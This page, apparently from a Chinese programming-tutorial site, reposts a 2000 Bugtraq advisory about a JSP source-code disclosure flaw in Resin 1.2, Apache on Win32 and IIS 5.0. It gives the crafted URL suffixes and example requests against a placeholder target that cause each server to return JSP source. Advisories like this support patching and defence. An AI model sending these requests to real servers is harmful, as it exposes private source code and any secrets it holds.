Resin 1.2 重要源代码暴露漏洞- JSP - 软晨网（RuanChen.com）

当前位置: 首页 > 图文教程 > 网络编程 > JSP > Resin 1.2 重要源代码暴露漏洞

技术文章搜索

关键字

JSP 中的 Resin 1.2 重要源代码暴露漏洞

出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-11-02 浏览: 43 ::

收藏到网摘: n/a

在HTTP请求中添加特殊字符导致暴露JSP源代码文件多中WEB服务器的通用JSp源代码暴露漏洞

bugtraq id 1986
class Input Validation Error
cve GENERIC-MAP-NOMATCH
remote Yes
local Yes
published November 23, 2000
updated November 23, 2000
vulnerable Caucho Technology Resin 1.2
- Microsoft IIS 5.0
+ Microsoft Windows NT 2000
- Apache Group Apache 1.3.6win32

Apache (Win32):
..
%2e..
%81
%82
Example: http://target/filename.jsp%81

Resin Web Server:
../
Example: http://target/filename.jsp../

IIS 5 requesting the URL encoded with ASCII:
'%2' instead of '.'
Example: http://target/filename%2ejsp

在HTTP请求中添加特殊字符导致暴露JSP源代码文件多中WEB服务器的通用JSp源代码暴露漏洞

JSP 中的 Resin 1.2 重要源代码暴露漏洞

评论 (0) All